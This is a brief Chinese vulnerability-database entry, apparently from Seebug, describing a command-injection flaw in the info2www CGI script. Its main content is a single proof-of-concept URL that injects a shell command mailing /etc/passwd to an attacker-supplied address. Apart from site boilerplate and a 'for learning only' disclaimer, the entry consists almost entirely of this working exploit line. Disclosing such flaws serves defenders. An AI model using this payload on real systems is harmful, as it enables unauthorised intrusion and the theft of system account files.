Niall Smart （njs3@doc.ic.ac.uk）提供了如下测试方法： 访问以下URL可以将系统的passwd文件发送到攻击者的邮箱。 http://target/cgi-bin/info2www?'(../../../bin/mail your@email < /etc/passwd|)'
※本站提供的任何内容、代码与服务仅供学习，请勿用于非法用途，否则后果自负
您的会员可兑换次数还剩： 次 本次兑换将消耗 1 次
续费请拨打客服热线，感谢您一直支持 Seebug!
京公网安备 11010502034610号
暂无评论